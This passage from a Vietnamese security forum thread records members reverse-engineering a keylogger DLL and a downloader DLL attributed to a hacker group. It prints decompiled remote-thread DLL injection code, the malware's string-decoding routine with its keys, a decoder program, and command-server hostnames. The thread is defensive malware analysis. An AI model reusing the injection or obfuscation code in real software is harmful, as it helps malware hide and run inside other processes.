              LenOfOCXPath = *lpwsz;
              lpwsz += 2;
          }
          while ( LenOfOCXPath );
          if ( WriteProcessMemory(v3, lpMem, wszOcxPath, 2 * ((lpwsz - &wszOcxPath[2]) >> 1), &NumberOfBytesWritten) )
          {
              ThreadId = 0;
              hThread = CreateRemoteThread(v3, 0, 0, LoadLibraryW, lpMem, 0, &ThreadId);
              CloseHandle(hThread);
          }
      }
  }
  return 0;


Tụi này chơi local buffer bự bà cố luôn, 5200 byte. Khiếp thê, MAX_PATH đâu mấy đại ca. VirtualAllocEx cũng 5200 byte luôn.
Code:
char wczDllPath[5200];
char wszOcxPath[5200];


Mai mốt có viết con nào khác thì gởi em review code cho nhé. Nếu em bắt xoá, viết lại thì cứ chịu khó nhé.

PS: À mà có cái này em không biết, LOBYTE(GetVersion) == 6 có phải là Windows 7 không mấy đại ca ! Máy em cùi bắp, chỉ chạy được Win2000 nên không bao giờ dám biết Vista, Win7 là gì cả. Thông cảm cho em hỏi hơi dốt nhé.

Mai mốt đừng có nhét cái mail address
xuongduongtrenmang@gmail.com 
vào cái email 2 của yahoo mail của em nữa nhé. Tính vu oan giá hoạ cho CA bắt em à. Chơi bẩn thế mấy nhóc ! Tụi mày chống phản động mà lại đi dùng cái mail đó à ? Bà con gâu gồ cái adress đó thì thấy.

Em tính post hoàn chỉnh toàn bộ pesudoC code của hardkbd.dll, nhưng thấy không cần thiết, vì tụi này code C không có gì đặc biệt, cao thủ hay dùng một kỹ thuật mới nào cả. Toàn là "cái ai cũng biết là ai đó" nên thôi. Em tạm dừng hardkbd.dll ở đây. Nhưng bà còn an tâm, còn hơn 10 file dll, exe của tụi này nữa.

Anh em BKIS, CMC vào tham gia cho vui, nếu em có gì sai, RCE non kém thì chỉ bảo cho em với.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 31/05/2011 13:15:28 (+0700) | #50 | 238286
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Tiếp tục nào anh em, ta sẽ đi tiếp với wbmain.dll.
File này nguyên bản được pack = PE Compact. Em đã manual unpack nó ra, dể dàng, do tụi STL này không biết cách dùng các plugin của PE Compact. File đã unpack là file em đã up lên mediafire. Em chỉ nhớ hồi mấy tháng trước em cách ly nó từ thư mục <Windows\Sytem32\Wbem".
Bà con vào thử thư mục này, thấy có file wbmain.dll này không. Tụi này nhét malware của nó tuốt trong đó.
Còn cơ chế load của nó thì em sorry, lúc em cách ly, em quên ghi lại nó được load như thế nào. Bà con thông cảm cho em nhé.
Thằng wbmain.dll này là một trong những thằng chính, làm nhiệm vụ download các đống malware khác về.
À, tư dưng em nghĩ: không lý VN ta có những thằng giấu mặt viết malware khá vậy à. Ai là sư phụ của STL vậy, mấy đại ca ? Cho em đi theo học sư phụ đó với, bỏ nghề buôn bán VLXD luôn (tụi mày nói trật lất về cái nghề chính của tao rồi);
File này lại do thằng khác trong đám STL viết, thằng này lại viết theo kiểu thuần C++ hơn thằng viết hardkbd.dll. Nó không chơi khai báo local buffer bự tổ chảng mà lại dùng operator new để alloc memory.
Thằng viết hardkbd.dll thì dùng đồ mới, VS 2010, Linker version = 10.0, build vào ngày 03/05/2010, 08:43.
Còn thằng viết wbmain.dll thì dùng VS 2008, linker verison = 9.0, build vào ngày 06/08/2010, 04:03.
MS Rich data hiển thị thông tin về compiler, linker, lib version của VS mà 2 thằng coder của STL dùng như sau:

Đây là MS Rich data của hardkbd.dll:


Đây là MS Rich data của wbmain.dll:


Thằng code hardkbd.dll lại hớ hênh, build với debug info, không xoá debug info nên thư mục source code của nó còn nằm chình ình trong file dll:


Bà con gấu gồ với key: CyberGame thì sẽ tìm ra điều thú vị. Không lẽ có dính đến học viên của Aptech à ????

Qua debug info của hardkbd.dll, ta có thể kết luận, thằng coder STL này create project với name là ieframe.dll, sau đó nó mới đổi tên ieframe.dll thành hardkdb.dll và ieframe.ocx. Vậy chắc có lẽ ieframe.ocx không cần nữa, nhưng nếu ai đó up cho tui thì tốt.

Trong wbmain.dll, STL coder này dùng một số hàm API WinHttp rất ít dùng, ít phổ biến (thậm chí em khi còn là coder cũng không biết tới, chỉ biết WinInet API, sau này search tới search lui mới biết). Các hàm WinHttp này nằm trong Winhttp.dll, khi build include Winhttp.h và link với Winhttp.lib:



Và HTTP header của nó:



Google với key WinHttpOpen, chỉ những trang tiếng Việt, nó cho ta topic (theo tui là chính xác nhất, cả Gecko gì đó luôn): http://forums.congdongcviet.com/showthread.php?p=202006#post202006

Không biết lequochoang2 này là ai, và sorry Kevin Hoàng nhé, em có dính dáng gì không ?
À mà quên, cái Gecko string này chỉ là 1 trong 1 đống Gecko string của tụi nó, từ từ em post sau.
Thằng coder wbmain.dll này dùng tá lã hết, copy code hả em, khi thì dùng socket API, khi thì dùng WinHttp API. Em chả hiểu nổi nữa.

Bà con đừng giận em câu giờ, câu bài nhé, thích thì em mới làm thôi. Cái của nợ dll, exe này em có từ năm ngoái lân, nhưng chưa bao giờ RCE xong xuôi, ra đầu ra đũa cả. Bây giờ mới móc ra mà làm, post lên !

Sao có mình em độc diễn vầy nè, buồn quá ! Bà con reversers khác vào tham gia cho vui chứ !
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 31/05/2011 16:31:55 (+0700) | #51 | 238302
cr4zyb0y
Member

[Minus]    0    [Plus]
Joined: 27/05/2010 11:50:30
Messages: 51
Offline
[Profile] [PM]
cái log của yahoo nó có lưu IP luôn đó anh TQN, anh post lên luôn đi .
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 31/05/2011 16:54:08 (+0700) | #52 | 238304
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Trong wbmain.dll, tất cả các string đặc biệt, thằng coder này giấu hết. Khi run nó mới decode ra. Dưới đây là pesudo-C code của hàm Decode này:
Code:
int __stdcall Decode(int key1, int key2, int srcBuf, int destBuf, int len)
{
  int mod; // edx@1
  int i; // ecx@1
  int result; // eax@3

  i = 0;
  mod = key1 % len;
  if ( len <= 0 )
  {
      result = 0;
  }
  else
  {
      do
      {
          *(mod + destBuf) = -1 - *(i + srcBuf);
          mod = (mod + key2) % len;
          ++i;
      }
      while ( i < len );
      result = 0;
  }
  return result;
}

Luôn luôn
key1 = 0x9108D
key2 = 0xD9E61

Hàm decode này em RCE đúng không, mấy anh em STL ? Lại còn dùng CRC32 nữa à ? Có copy code ở đâu không đó mấy em ! Hàm BuildCrc32Table hơi bị quái, do compiler hay do mấy em code đó. VA = 0x10001020
Code:
int __cdecl BuildCRC32Table()
{
  unsigned int i; // ecx@1
  unsigned int v1; // eax@2
  int v2; // eax@5
  int v3; // eax@8
  int v4; // eax@11
  int v5; // eax@14
  int v6; // eax@17
  int v7; // eax@20
  int result; // eax@23

  i = 0;
  do
  {
      v1 = i >> 1;
      if ( i & 1 )
          v1 ^= 0xEDB88320u;
      if ( v1 & 1 )
          v2 = (v1 >> 1) ^ 0xEDB88320;
      else
          v2 = v1 >> 1;
      if ( v2 & 1 )
          v3 = (v2 >> 1) ^ 0xEDB88320;
      else
          v3 = v2 >> 1;
      if ( v3 & 1 )
          v4 = (v3 >> 1) ^ 0xEDB88320;
      else
          v4 = v3 >> 1;
      if ( v4 & 1 )
          v5 = (v4 >> 1) ^ 0xEDB88320;
      else
          v5 = v4 >> 1;
      if ( v5 & 1 )
          v6 = (v5 >> 1) ^ 0xEDB88320;
      else
          v6 = v5 >> 1;
      if ( v6 & 1 )
          v7 = (v6 >> 1) ^ 0xEDB88320;
      else
          v7 = v6 >> 1;
      if ( v7 & 1 )
          result = (v7 >> 1) ^ 0xEDB88320;
      else
          result = v7 >> 1;
      CRCTable[i++] = result;
  }
  while ( i < 256 );
  return result;
}


Nói về crypto thì em phải goị mrro bằng sư phụ, nhưng mấy cái thuật toán crypto vớ vẫn, đơn giản là em nhình ra liền à.

quangrelight à, anh biết em cũng là cao thủ về IDA, em vào giúp anh cái. Hàm decode có rồi, em hãy thử viết script = IDAPython, IDC, AppCall hay run emulate trên Bochs hoặc x86emu để lấy ra cái original string của tụi này cái. Giờ anh làm biếng code quá !
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 31/05/2011 19:47:47 (+0700) | #53 | 238311
quangredlight
Member

[Minus]    0    [Plus]
Joined: 14/09/2008 18:52:09
Messages: 15
Offline
[Profile] [PM]
smilie Hi bác TQN

em đọc cái decode thì chỉ biết nó decode ra 6 cái địa chỉ , và dùng 1 hàm để lấy random 1 trong 6 cái đấy và connect gửi thông tin lên, xor 0x1D

cái decode này em ko phân tích IDA được, toàn cho vào máy ảo rồi Olly thôi, đang ngồi hóng các cao thủ cho giải pháp decode nó, thật sự đọc cái decode này mà phát điên luôn ý, rối kinh khủng

Giờ máy em đang điên điên smilie smilie , chắc phải cài lại win rồi mới làm tiếp được
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 01/06/2011 07:42:28 (+0700) | #54 | 238321
PXMMRF
Administrator

Joined: 26/09/2002 07:17:55
Messages: 946
Offline
[Profile] [PM]

quangredlight wrote:
smilie Hi bác TQN

em đọc cái decode thì chỉ biết nó decode ra 6 cái địa chỉ , và dùng 1 hàm để lấy random 1 trong 6 cái đấy và connect gửi thông tin lên, xor 0x1D

cái decode này em ko phân tích IDA được, toàn cho vào máy ảo rồi Olly thôi, đang ngồi hóng các cao thủ cho giải pháp decode nó, thật sự đọc cái decode này mà phát điên luôn ý, rối kinh khủng

Giờ máy em đang điên điên smilie smilie , chắc phải cài lại win rồi mới làm tiếp được 



Theo tôi, nếu gặp những khó khăn như trên, có thể nghĩ đến một cách tiếp cận khác. (sau đó có thể quay lai cách tiếp cận cũ)

Các file .dll (hardkbd.dll- keylogger và wbmain.dll-downloader) mà chúng ta đang disassembling có những mối liên hệ với một service quan trong mà Trojan thiết lập mới trong hệ thống, có nhiệm vụ tạo socket kết nối Internet với máy chủ -website của hacker, để chuyển thông tin lấy cắp và nhận lệnh (thí dụ website smartshow.info)

Service này, trong các malicious tool (ware) của STL hay của các Chinese hacker khác thường là "iprip", tiến trình của nó là svchost.exe -k netsves (chú ý phân biệt với svchost.exe gốc của Windows-local service)

Vì bận quá, nên tôi chưa có thời gian phân tích kỹ 2 file dll nói trên và cho chay file virus.doc trên máy thật. Vả lại có phân tích thì cũng không bằng TQN được. Tuy nhiên đã socket spying sơ qua file tiến trình svchost.exe -k netsves nói trên

(Bận quá, đang mắc nợ 2 bài mà chưa viết được, thông tin thì đã đủ. Sorry)
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 01/06/2011 08:43:41 (+0700) | #55 | 238330
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Tiếp tục nào anh em, để lâu quá tụi STL tưởng mình không giải mã được rồi tụi nó cười thầm trong bụng nữa.
Vào SG mấy ngày rồi mà chưa bước ra khỏi nhà, bỏ bê một đống công việc, cũng vì cái đám của nợ của STL để lại này. Mai mốt mấy anh STL có tiền thì chuyển vào tk VCB của em mà các anh đã biết nhé. Cảm ơn trước nha smilie
Hàm Decode của wbmain.dll thì chúng ta đã có 99% source code rồi, đúng tới từng input parameter (đúng không mấy anh STL). Tiếp tục chúng ta cần tìm tất cả các xref tới hàm Decode, sau đó chúng ta sẽ lấy lại thông tin bị che dấu bằng các cách sau:
1. Viết script = IDAPython hay IDC trên IDA dựa vào Decode source. Nếu bạn nào dùng ImmDbg thì viết pyCommand, còn OllyDbg thì ODbgScript. Nếu dùng 101Editor hay FileInsight thì cũng có thể viết script = python hay 101 Editor script.
2. Run wbmain.dll này dưới trình debugger, cái này tui không khuyên, nếu muốn thì run dưới máy ảo. Các bạn có thể Set EIP tới các điểm bắt đầu call Decode rồi trace, watch stack. Hàm Decode này pure C, không gọi bất kỳ hàm API hay C RTL nên không sao !
3. Viết Python/PHP script hay code 1 native small, app nhỏ dựa vào Decode source code, đọc offset của các chuỗi encoded string trong wbmain.dll rồi print ra.
4. Dùng các emulator để run các đoạn call hàm Decode. Vd trong IDA có Bochs debug plugin và ida-x86emu plugin của Chris.

Trong các cách trên, cái nào mà có đụng tới viết, viết thì sorry anh em, em giờ lười code không chịu được. Tối qua ngồi nháp nháp cái IDC script và Pyhton script thì thôi luôn.
Máy ảo VM của em thì chạy không nổi, cái XP SP2 trên đó thì khùng, chưa fix. Còn Bochs debug thì trên IDA 5.5 em đang dùng nó bị bug, không connect tới Bochs VM được. Bản 6.1 thì demo, không cho save, trace chỉ đươc 1 số hữu hạn lệnh. Dể xùng thiệt, nếu không thì chỉ với Bochs em dể dàng lấy hết các string encoded đó rồi.
Sẵn đây đi xin xõ luôn, bà con BKAV, CMC hay VNSecurity nào có IDA 6 thì private share với em một bản nhé. Chắc chắn em không để nó leak ra ngoài đâu.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 01/06/2011 10:06:19 (+0700) | #56 | 238337
[Avatar]
secmask
Elite Member

[Minus]    0    [Plus]
Joined: 29/10/2004 13:52:24
Messages: 553
Location: graveyard
Offline
[Profile] [PM] [WWW]
Vài string em decode được, em không rành RCE nên ngồi xem, học hỏi là chính thôi ah smilie

98 9A 91 9A 8D 9E 93 D1+src dd 9A919A98h, 0D1939E8Dh, 0D0939287h, 0
--> /general.xml
 


15170 ; char dword_10015170[]
_0000128C:10015170 D1 CF 9A DF 8B DF D3 8B+dword_10015170 dd 0DF9ACFD1h, 8BD3DF8Bh, 93DFDF8Dh, 0D1AA9E88h, 0DFD3D1F5h, 0DA9C9A97h, 938CCF9Ah, 0CED08B85h
_0000128C:10015170 8D DF DF 93 88 9E AA D1+ ; DATA XREF: ThreadProc+2C4o
_0000128C:10015170 F5 D1 D3 DF 97 9A 9C DA+ ; ThreadProc+2DFo
_0000128C:10015170 9A CF 8C 93 85 8B D0 CE+ dd 0D19CCE91h, 91B99092h, 969B87ACh, 0D19AD0F2h, 0BED0AAD1h, 8EDFABF5h, 0C5B28790h, 0C9BCCDABh
_0000128C:10015170 91 CE 9C D1 92 90 B9 91+ dd 0F597D093h, 91D296CEh, 90DA8F96h, 0DFC2C590h, 0B8CC8D90h, 9391D5CCh, 90B78FC5h, 938FABF2h
_0000128C:10015170 AC 87 9B 96 F2 D0 9A D1+ dd 9CCBCE8Bh, 9ED7969Ah, 8DBC9AC5h, 8C8B8CC4h, 0D5CDF2C9h, 9C918BA8h, 0DFD19C8Ch, 0CE9A96D3h
_0000128C:10015170 D1 AA D0 BE F5 AB DF 8E+ dd 9EC491CFh, 968C93CFh, 9092C4C5h, 0F2CCF59Ch, 87C4C6C6h, 0B8DFBE98h, 909288C2h, 90CFAFDFh
_0000128C:10015170 90 87 B2 C5 AB CD BC C9+ dd 8BCA96D1h, 0AA90DFB7h, 8C9391D0h, 0CFCE8C87h, 0F2D291DFh, 9BC4D6BAh, 0AB8BDFD4h, 8FDFF5D0h
_0000128C:10015170 93 D0 97 F5 CE 96 D2 91+ dd 0CFF2D09Eh, 0A890918Bh, 9399DF8Fh, 96C48E89h, 0D1F5D19Ah, 8B9296D0h, 0C794DF9Ah, 87939EB1h
_0000128C:10015170 96 8F DA 90 90 C5 C2 DF+ dd 0

-->

GET %s HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Close
 




FF 99 FF B2 dword_10015264 dd 0B2FF99FFh ; DATA XREF: sub_10002B70+6Do
_0000128C:10015264 ; sub_10002B70+87o
_0000128C:10015268 FF A3 FF 90 dd 90FFA3FFh
_0000128C:1001526C FF 8B FF BC dd 0BCFF8BFFh
_0000128C:10015270 FF 8C FF 9E dd 9EFF8CFFh
_0000128C:10015274 FF B2 FF 90 dd 90FFB2FFh
_0000128C:10015278 FF 9B FF B2 dd 0B2FF9BFFh
_0000128C:1001527C FF 8D FF D1 dd 0D1FF8DFFh
_0000128C:10015280 FF A3 FF 9C dd 9CFFA3FFh
_0000128C:10015284 FF 97 FF 8B dd 8BFF97FFh
_0000128C:10015288 FF 96 FF 97 00 00 00 00+ dd 97FF96FFh, 5 dup(0)


-->
UNICODE: Microsoft\MMC\hh.dat
 


Em thấy có mấy chỗ nữa call Decode nhưng mà chỗ nào put thẳng src vào thì em decode đuơc, chỗ nào gọi qua ref đến register thì em chịu, chưa tìm được src nó trỏ đến đâu.



đây là đoạn fasm em dùng để decode, bác nào tìm được ref thì cho vào chạy smilie


format PE console
;CRT fix 'msvcrt.dll'
include 'win32ax.inc'

.data
src dd 9A919A98h, 0D1939E8Dh, 0D0939287h, 0
s2 dd 0DF9ACFD1h, 8BD3DF8Bh, 93DFDF8Dh, 0D1AA9E88h, 0DFD3D1F5h, 0DA9C9A97h, 938CCF9Ah, 0CED08B85h
dd 0D19CCE91h, 91B99092h, 969B87ACh, 0D19AD0F2h, 0BED0AAD1h, 8EDFABF5h, 0C5B28790h, 0C9BCCDABh
dd 0F597D093h, 91D296CEh, 90DA8F96h, 0DFC2C590h, 0B8CC8D90h, 9391D5CCh, 90B78FC5h, 938FABF2h
dd 9CCBCE8Bh, 9ED7969Ah, 8DBC9AC5h, 8C8B8CC4h, 0D5CDF2C9h, 9C918BA8h, 0DFD19C8Ch, 0CE9A96D3h
dd 9EC491CFh, 968C93CFh, 9092C4C5h, 0F2CCF59Ch, 87C4C6C6h, 0B8DFBE98h, 909288C2h, 90CFAFDFh
dd 8BCA96D1h, 0AA90DFB7h, 8C9391D0h, 0CFCE8C87h, 0F2D291DFh, 9BC4D6BAh, 0AB8BDFD4h, 8FDFF5D0h
dd 0CFF2D09Eh, 0A890918Bh, 9399DF8Fh, 96C48E89h, 0D1F5D19Ah, 8B9296D0h, 0C794DF9Ah, 87939EB1h
dd 0
;56*4
s3 dd 0B2FF99FFh
dd 90FFA3FFh
dd 0BCFF8BFFh
dd 9EFF8CFFh
dd 90FFB2FFh
dd 0B2FF9BFFh
dd 0D1FF8DFFh
dd 9CFFA3FFh
dd 8BFF97FFh
dd 97FF96FFh, 5 dup(0)


dst db 2048 dup(0)
.code
start:
stdcall Decode,9108Dh,0D9E61h,s3,dst,10*4
invoke ExitProcess,0

Decode:

db 8Bh,44h,24h,04h,56h,8Bh,74h,24h,18h
db 33h,0C9h,99h,0F7h,0FEh,85h,0F6h,7Eh
db 2Bh,53h,8Bh,5Ch,24h,10h,55h,8Bh,6Ch
db 24h,18h,57h,8Bh,7Ch,24h,20h,0Ch,0FFh
db 2Ah,04h,29h,88h,04h,3Ah,8Dh,04h,1Ah
db 99h,0F7h,0FEh,41h,3Bh,0CEh,7Ch,0EDh
db 5Fh,5Dh,5Bh,33h,0C0h,5Eh,0C2h,14h,00h

.end start
 
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 01/06/2011 14:22:02 (+0700) | #57 | 238356
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Tính post tiếp nhưng tới lúc decode xong lại thấy ngờ ngợ, hình như là, khoãng 50%, wbmain.dll có lẽ không phải của STL, nhưng cũng có thể. Bà con ai nhớ cái: www.adobe-upgrade.com và AdobeUpdateManager.exe không ?

AdobeUpdateManager.exe hình như là 1 con Bot, còn server adobe-upgrade.com thì down lâu rồi, whois, google không thấy. Không lẽ tui đi sai hướng.

Hiện tại trong đống virus database lưu trên máy tui, thấy rõ 2 trường phái coding khác nhau. Version của 2 đám này cũng lung tung hết, không xác định được.

Nếu thật là sai hướng thì xin lỗi anh em, đã làm mất thời gian của anh em theo dõi tọpic này.



















Dù gì thì xem hình vẫn rõ ràng, dễ hiểu hơn là post đống ASM hay C code, phải không anh em ?

Windows\System32\uxtheme.dll không phải là malware, mục đích của coder của malware wbmain.dll này là patch đường dẫn full của wbmain.dll trong PEB.Ldr link list thành path của uxtheme.dll thôi. Hoàn toàn không ngoài mục đích che dấu wbmain.dll trong các trình Process viewers.

Nếu wbmain.dll của mấy đại ca STL thì em nói cái uxtheme.dll này đúng không vậy, chứ không mấy anh chê em RCE nửa mùa, không tới nơi tới chốn nữa.

PS: Em chỉ dùng x86-emulator để decode các string thôi, không cần đao to búa lớn. Chi tiết sử dụng x86-emulator, bà con reversers VN ta xem trong cuốn "IDA Pro Book" gì đó.

Khoe một chút: Thấy font và color của OllyDbg em đang dùng đẹp không. Font: Raize, color: Alex Black.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 01/06/2011 14:37:36 (+0700) | #58 | 238359
[Avatar]
WinDak
Researcher

Joined: 27/01/2002 11:15:00
Messages: 223
Offline
[Profile] [PM]
Tớ chỉ tò mò google vài cái thì phát hiện ra trang này :

http://www.threatexpert.com/report.aspx?md5=fa9bfec1cbdbfec643021bf6bd943034

Chú ý item 7 và 10:

%Windir%\ime\HARDKBD.DLL

%System%\wbem\wbmain.dll

Không rõ là có đúng đây là của bọn STL viết như TQN nói không, vì có vẻ con malware này đã được publish ở đâu đó ?
-- w~ --
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 01/06/2011 14:58:52 (+0700) | #59 | 238361
PXMMRF
Administrator

Joined: 26/09/2002 07:17:55
Messages: 946
Offline
[Profile] [PM]

TQN wrote:
Tính post tiếp nhưng tới lúc decode xong lại thấy ngờ ngợ, hình như là, khoãng 50%, wbmain.dll có lẽ không phải của STL, nhưng cũng có thể. Bà con ai nhớ cái: www.adobe-upgrade.com và AdobeUpdateManager.exe không ?

AdobeUpdateManager.exe hình như là 1 con Bot, còn server adobe-upgrade.com thì down lâu rồi, whois, google không thấy. Không lẽ tui đi sai hướng.

Hiện tại trong đống virus database lưu trên máy tui, thấy rõ 2 trường phái coding khác nhau. Version của 2 đám này cũng lung tung hết, không xác định được.

Nếu thật là sai hướng thì xin lỗi anh em, đã làm mất thời gian của anh em theo dõi tọpic này. 


AdobeUpdateManager.exe có nhúng vào một bot. Việc này McAfee phát hiện cách đây khoảng nửa năm gì đó. McAfee có thông báo trên một blog của họ và tôi có hai ý kiến trong phần comment.

wbmain.dll thì Kaspersky đã phát hiện cách đây vài tháng gì đó và phân loại nó là một downloader Trojan (Trojan.Downloader.Win32.Agent.ffxc), PE compact file. Hãng Ikarus cũng đã detect ra con này trước đây.

Hardkbd.dll và wbmain.dll đã xuất hiện từ năm 2007 và đươc sử dung như một file "thông dụng-hiệu quả" để nhét vào nhiều loai Trojan khác nhau. STL và các hacker Trung quốc nói chung thích "sử dụng" các file này và cải tiến chúng trong quá trình sử dụng. Thí dụ gần đây chúng đưa vào các "Keymaker" để tạo ra các key-serial no. dùng cho 1 chương trình cài đặt VM (máy ảo) trên một hệ thống Windows.

Gần đây AntiVir (tác già phần mềm nổi tiếng Antivirus Avira) và hãng Dr.Web (một hãng IT và Antivirus đang lên của Nga-Liên xô cũ) cũng đã detect ra Hardkbd.dll như là một Trojan

Quá trình compile và disassembling hai file dll nói trên của TQN khá hay và mang lại nhiều thông tin hữu ích. Cám ơn TQN
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 01/06/2011 15:05:26 (+0700) | #60 | 238363
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Cảm ơn anh PXMMRF đã khen.
Cho em "nổ" một chút: Em biết code VC++ và System Programming từ hồi lúc đám STL này còn ở truồng tắm mưa. Debug code nát nước. Mấy cái code C/C++ em đọc như đọc sách chứ có khó khăn gì đâu. Cái nào không chắc ăn mới lôi ra debug. Thậm chí code Delphi, VB thì khỏi bàn.
Vậy mà, hu hu, em bị chúng chê em RCE, coding nữa mùa.
Bởi vậy em mới nói với tụi nó: khi nào cần học code System, malware hay review code thì khăn gói qua nhà em. Bảo đãm em sẽ dạy cho, không bị "đập".

Các bạn xem lại hình build day của hardkbd.dll và wbmain.dll mà em đã post. Có thể cả hai đều do các virus maker tạo ra hay tụi STL và các đám hacker khác share nhau, mua source code (source này cho em cũng không thèm, bug tùm lum, code như shit, làm sao bằng mấy anh Bờ Kờ được).

À quên, em vẫn có nhu cầu IDA 6.x nhé, bà con nào có share cho em đi. 10 chầu nhậu, em út luôn.
PS: Hi rongchaua, lâu quá không gặp. Thấy em vào xem topic này anh vui lắm. Anh em REA. Vào giúp anh một tay đi. Khi nào tụi STL này code malware = .NET thì dành hết cho em nhé !
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|